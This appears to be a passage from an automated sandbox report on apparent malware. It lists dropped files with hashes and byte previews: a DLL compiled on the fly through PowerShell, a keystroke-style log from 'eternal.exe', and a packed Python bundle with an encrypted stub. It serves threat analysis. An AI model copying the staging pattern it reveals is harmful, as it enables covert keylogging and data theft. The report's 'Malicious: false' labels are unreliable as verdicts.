Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.1566406826290354
Encrypted:	false
SSDEEP:	48:6M7oEAtf0KhzBU/rJzf6mtJGN0tpW1ullta36uq:4Nz0rJGm+OFXtK6
MD5:	F0A246323C87348A3074B710BEADFC55
SHA1:	815E0EBEF004B7373313FDEEB75752417C8A8366
SHA-256:	42390336EA2091A1745F571A85F00463F595D46B7A49CCDC9255845F621007CE
SHA-512:	216DFA92DB0D6FC445F6D5F2A85378288F850DDC6F11D3ADE84B229DA6222AC516E19754C2A6274FB3BF4342A968789A66D6C82DF10FA7E7D8ABB50DA55B872F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...K.9g...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (711), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1152
Entropy (8bit):	5.4935664959751636
Encrypted:	false
SSDEEP:	24:K6FdId3ka6KOkqeFkbNJ/EveKax5DqBVKVrdFAMBJTH:vFdkka6NkqeFkbNJ/EveK2DcVKdBJj
MD5:	5121C4BB1FD5ED7E7875006E4D61A926
SHA1:	298497A71D3767787562578489E405328059728E
SHA-256:	6FFF6833FA9D2A77F1B7E204BEAAB18A2674E78B0F4E3A0CFC9F201CA1F96FC8
SHA-512:	5EF055EC6A860612D3AE8000118DC265F48AC2F4DEEF3E9735DEB50FE7F290DAFD0F9AEAFDDF706F9ED3712B87838BC76494DBF1DAA61FC9717FE59DF109E095
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no lo

C:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.096695479751756
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryntak7Ynqq6iPN5Dlq5J:+RI+ycuZhNltakS6iPNnqX
MD5:	2F6FD1E6FB535F61757E8738FF2E26F1
SHA1:	C869366C1FF39786CC6ACB090EB492C5F93B99BF
SHA-256:	2FA62FE1E99AB7635E2B5F3ADF48EB849AB667B56B2238B4DA8A77B49830DCFF
SHA-512:	DA8AA7F7756DAF9CA93CAD25DF120AF93533E4BECA6DF189DEB0FF2399273DEA2125D130942C7B237EC98A8AAC24CD1D682FE14ACBFB5F5834F48494C9DF8EB4
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.p.y.i.a.z.z.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.p.y.i.a.z.z.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\eternal.exe
File Type:	Generic INItialization configuration [WIN]
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.663293397063965
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr42VjFYJKXzovLvAFkjDCHyg4EaKC5Suf1XieAzT2cW8g/FsrTk:EFYJKDoWr5FYJKDoMFkPCHhJaZ5SudXd
MD5:	0C7CA14AA339FD4004DFF23D71C4B9F1
SHA1:	66209C445354464ACF89E5CAE83ED08F3C5254D4
SHA-256:	66D65553E5CCBCCC9FA20D7B373DD35CA234875B6E2CC2171254006BA9B4DA96
SHA-512:	39C068DA0BBB45CBDE241C56F97E15AF8DE798BB7BD8F2D7BA05EB0EC9A70AAE6D30D0B16F2AB12693F4F3F916F1309B1F7C976D3280A501EB5BFFF69AF97BC8
Malicious:	false
Reputation:	unknown
Preview:	....### explorer ###..[WIN]r[WIN]....### explorer ###..r....### C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe ###..[WIN]r....### explorer ###..[WIN]r

C:\Users\user\AppData\Local\Temp\RES2A5B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ba, 9 symbols, created Sun Nov 17 11:45:15 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	4.132412164356126
Encrypted:	false
SSDEEP:	24:HeO9wrqpHLwKeFGkNwI+ycuZhNltakS6iPNnqSQEgd:YqpcKeFRm1ullta36uqSZ0
MD5:	3F6657CD0AB612284E292511E5090BED
SHA1:	87C5DEAD367AB063FA400AFF0826BA1645F9075C
SHA-256:	36014D28F930A4969F2E94475D3E45793C550C205F382B6C9DAA7F2E6C5CB30E
SHA-512:	381FBB1492972051A7F0D8ADB7BA45A19E8FC26EB386F92B430C2C5D3D9C683AE9DD1CE50DBD5DD7DA364C7049734B72A89DD37312060A0B47539C1A9F4885D6
Malicious:	false
Reputation:	unknown
Preview:	L...K.9g.............debug$S........\|...................@..B.rsrc$01........X.......`...........@..@.rsrc$02........P...j...............@..@........T....c:\Users\user\AppData\Local\Temp\3pyiazzo\CSC68A32BD75EFB4A1F8C11C6C63FDD8E5.TMP.............../o...S_au~.8..&...........5.......C:\Users\user\AppData\Local\Temp\RES2A5B.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.p.y.i.a.z.z.o...d.l.l.....(.....L.e.

C:\Users\user\AppData\Local\Temp\_MEI44642\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI44642\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49424
Entropy (8bit):	7.815740675307968
Encrypted:	false
SSDEEP:	768:esvzuaVl+ztlrpqKgHrzwTzjT+KyH9qtztKnb3/+u2xmFepwUIJLV1/DU5YiSyvX:huaugLzUz+lOsnb33lUIJLV1i7SyFB
MD5:	58FC4C56F7F400DE210E98CCB8FDC4B2
SHA1:	12CB7EC39F3AF0947000295F4B50CBD6E7436554
SHA-256:	DFC195EBB59DC5E365EFD3853D72897B8838497E15C0977B6EDB1EB347F13150
SHA-512:	AD0C6A9A5CA719D244117984A06CCE8E59ED122855E4595DF242DF18509752429389C3A44A8BA0ABC817D61E37F64638CCBDFFC17238D4C38D2364F0A10E6BC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..\|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).............d....................................................`.............................................H.................... .. ...................................................p..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64272
Entropy (8bit):	7.834005148796091
Encrypted:	false
SSDEEP:	1536:Opx/sXWpBktLQ+ndnJZLIDdwXtRg1zk1+3XTkIJyPeB7SyFmhz:OXsXWpBgLBndJSdIgpk1+3XwIJyPeBrm
MD5:	79879C679A12FAC03F472463BB8CEFF7
SHA1:	B530763123BD2C537313E5E41477B0ADC0DF3099
SHA-256:	8D1A21192112E13913CB77708C105034C5F251D64517017975AF8E0C4999EBA3
SHA-512:	CA19DDAEFC9AB7C868DD82008A79EA457ACD71722FEC21C2371D51DCFDB99738E79EFF9B1913A306DBEDACB0540CA84A2EC31DC2267C7B559B6A98B390C5F3A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............J.......................................p............`.........................................Hl.......i.......`.......................l.......................................V..@...........................................UPX0....................................UPX1................................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120080
Entropy (8bit):	7.901857200989369
Encrypted:	false
SSDEEP:	3072:DXHhVKXEI3D7AboLmJ2g+3FAZ9raGHT2PIJvqMkPp5:DX3gEcD/Ksg+3JGHC0kb
MD5:	21D27C95493C701DFF0206FF5F03941D
SHA1:	F1F124D4B0E3092D28BA4EA4FE8CF601D5BD8600
SHA-256:	38EC7A3C2F368FFEB94524D7C66250C0D2DAFE58121E93E54B17C114058EA877
SHA-512:	A5FBDA904024CD097A86D6926E0D593B0F7E69E32DF347A49677818C2F4CD7DC83E2BAB7C2507428328248BD2F54B00F7B2A077C8A0AAD2224071F8221CB9457
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....0...... .....................................................`.....................................................................t+..........\....................................... ...@...........................................UPX0....................................UPX1.............~..................@....rsrc....0.......$..................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36112
Entropy (8bit):	7.6548425105220375
Encrypted:	false
SSDEEP:	768:yzzaDWoin9vvSwNbHyxBpnrIJvIoS5YiSyvE62Em:yzOW6wNbHCrIJvIoQ7Syc6c
MD5:	D6F123C4453230743ADCC06211236BC0
SHA1:	9F9ADE18AC3E12BCC09757A3C4B5EE74CF5E794E
SHA-256:	7A904FA6618157C34E24AAAC33FDF84035215D82C08EEC6983C165A49D785DC9
SHA-512:	F5575D18A51207B4E9DF5BB95277D4D03E3BB950C0E7B6C3DD2288645E26E1DE8EDCF634311C21A6BDC8C3378A71B531F840B8262DB708726D36D15CB6D02441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P..........@........................................@............`.........................................\|;..P....9.......0.......................;......................................@+..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88336
Entropy (8bit):	7.9108932581373015
Encrypted:	false
SSDEEP:	1536:wlkdTJ3vEbPVfwGX+zD2z4qVHCy4N491I4lSi5j68Xi4az2yhIJ01uv7SyXN:wUFvEbdfwGOnqpCb491IK/EIJ01uvj
MD5:	055EB9D91C42BB228A72BF5B7B77C0C8
SHA1:	5659B4A819455CF024755A493DB0952E1979A9CF
SHA-256:	DE342275A648207BEF9B9662C9829AF222B160975AD8925CC5612CD0F182414E
SHA-512:	C5CBA050F4B805A299F5D04EC0DCE9B718A16BC335CAC17F23E96519DA0B9EAAF25AE0E9B29EF3DC56603BFE8317CDC1A67EE6464D84A562CF04BEA52C31CFAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...). .......p........................................................`.........................................4...L....................0..........................................................@...........................................UPX0.....p..............................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27408
Entropy (8bit):	7.449801379195215
Encrypted:	false
SSDEEP:	384:he8SQ/XAVUI1ZCXG5oZa7gJX28IJ9U4NVTHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:he8XPAVhZwvpm8IJ9U4X5YiSyvTo2Et
MD5:	513DCE65C09B3ABC516687F99A6971D8
SHA1:	8F744C6F79A23AA380D9E6289CB4504B0E69FE3B
SHA-256:	D4BE41574C3E17792A25793E6F5BF171BAEEB4255C08CB6A5CD7705A91E896FC
SHA-512:	621F9670541CAC5684892EC92378C46FF5E1A3D065D2E081D27277F1E83D6C60510C46CAB333C6ED0FF81A25A1BDC0046C7001D14B3F885E25019F9CDD550ED0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).0..........@.....................................................`.............................................L.......P............`..l...........<.......................................@...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45328
Entropy (8bit):	7.729647917060796
Encrypted:	false
SSDEEP:	768:BVO07RbhED2LEIuo4OCYkbaEts+ZIQivK+F8kp9jHIJywFmk5YiSyv+2Eb:zPkD2LEIuo4E5C30d1jHIJywFmu7Sy21
MD5:	14392D71DFE6D6BDC3EBCDBDE3C4049C
SHA1:	622479981E1BBC7DD13C1A852AE6B2B2AEBEA4D7
SHA-256:	A1E39E2386634069070903E2D9C2B51A42CB0D59C20B7BE50EF95C89C268DEB2
SHA-512:	0F6359F0ADC99EFAD5A9833F2148B066B2C4BAF564BA16090E04E2B4E3A380D6AFF4C9E7AEAA2BA247F020F7BD97635FCDFE4E3B11A31C9C6EA64A4142333424
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m\|.ll}..o\|.ll}..h\|.ll}..i\|.ll}..m\|.ll}.lm}.ll}..m\|.ll}..a\|.ll}..l\|.ll}..}.ll}..n\|.ll}Rich.ll}........PE..d.....g.........." ...).p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60176
Entropy (8bit):	7.847943448203495
Encrypted:	false
SSDEEP:	1536:HqbxjT8JFLTgRG/dv8xxEOKI+C6IJvQl67SydP:KbFT8JZg+8xBd+XIJvQl6L
MD5:	8CD40257514A16060D5D882788855B55
SHA1:	1FD1ED3E84869897A1FAD9770FAF1058AB17CCB9
SHA-256:	7D53DF36EE9DA2DF36C2676CFAEA84EE87E7E2A15AD8123F6ABB48717C3BC891
SHA-512:	A700C3CE95CE1B3FD65A9F335C7C778643B2F7140920FE7EBF5D9BE1089BA04D6C298BF28427CA774FBF412D7F9B77F45708A8A0729437F136232E72D6231C34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............p-.......................................P............`..........................................K..P....I.......@.......................K......................................p9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68368
Entropy (8bit):	7.86108869046165
Encrypted:	false
SSDEEP:	1536:knDFWlIqOuazwp1eBNcnYTpXZwWVfTwIJL7O497Sy5ArQ:+5MtOu89KYTXwEEIJL7OKjAQ
MD5:	7EF27CD65635DFBA6076771B46C1B99F
SHA1:	14CB35CE2898ED4E871703E3B882A057242C5D05
SHA-256:	6EF0EF892DC9AD68874E2743AF7985590BB071E8AFE3BBF8E716F3F4B10F19B4
SHA-512:	AC64A19D610448BADFD784A55F3129D138E3B697CF2163D5EA5910D06A86D0EA48727485D97EDBA3C395407E2CCF8868E45DD6D69533405B606E5D9B41BAADC0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...).........P.......`...................................@............`.........................................l<..d....9.......0.......................<.......................................(..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1394456
Entropy (8bit):	5.531698507573688
Encrypted:	false
SSDEEP:	12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
MD5:	A9CBD0455B46C7D14194D1F18CA8719E
SHA1:	E1B0C30BCCD9583949C247854F617AC8A14CBAC7
SHA-256:	DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
SHA-512:	B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI44642\blank.aes

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	113874
Entropy (8bit):	7.73370490411063
Encrypted:	false
SSDEEP:	1536:492Wl7KxFTXlh+5dF3e2A8QN8A0EuqUkrVrrib26s/CGGzuskhz2WawfooIMR2jV:AKxJi5dFO2A8BS9ss/CbzTUKWSxqcf
MD5:	7FC09043BE2028C6D91488E29ACDC4D0
SHA1:	B3C8537899831477155252A89F5E8373433C0130
SHA-256:	5AF489AF3E1F305D479D57D6EBBD9508E0BA6A537B9814A637D4303CDE4A70D4
SHA-512:	6442D8EE116FE4ECAEAA807C861A98AF1D84D0498D646867AA221B2DAF157D8F0CDB9FA3114666BCE2BD37B01660561BAC00798835BDF51846E6C9C4C141C820
Malicious:	false
Reputation:	unknown
Preview:	PK........AbXY+Z..\...\.......stub-o.pyc...........g+ .............................\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.S...r.S.r.\.".\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R.........

C:\Users\user\AppData\Local\Temp\_MEI44642\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1630488
Entropy (8bit):	7.952879310777133
Encrypted:	false
SSDEEP:	49152:f3Y7UGnm3dtF6Q5xkI61CPwDvt3uFlDCm:/Y7Bm3dz6Q5c1CPwDvt3uFlDCm
MD5:	8377FE5949527DD7BE7B827CB1FFD324
SHA1:	AA483A875CB06A86A371829372980D772FDA2BF9
SHA-256:	88E8AA1C816E9F03A3B589C7028319EF456F72ADB86C9DDCA346258B6B30402D
SHA-512:	C59D0CBE8A1C64F2C18B5E2B1F49705D079A2259378A1F95F7A368415A2DC3116E0C3C731E9ABFA626D12C02B9E0D72C98C1F91A359F5486133478144FA7F5F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(. .......p:.`.P...:..................................0S...........`......................................... .P......P.h.....P...... L. .............S..................................... .P.@...........................................UPX0.....p:.............................UPX1..... ....:.....................@....rsrc.........P......"..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	227096
Entropy (8bit):	7.928768674438361
Encrypted:	false
SSDEEP:	6144:PpEswYxCQyTp2Z/3YUtoQe5efEw+OXDbM3nFLQdFM4mNJQ:PpAqo92h3Y660Ew+OTbAFLQd2lw
MD5:	B2E766F5CF6F9D4DCBE8537BC5BDED2F
SHA1:	331269521CE1AB76799E69E9AE1C3B565A838574
SHA-256:	3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4
SHA-512:	5233C8230497AADB9393C3EE5049E4AB99766A68F82091FE32393EE980887EBD4503BF88847C462C40C3FC786F8D179DAC5CB343B980944ADE43BC6646F5AD5A
Malicious:	false
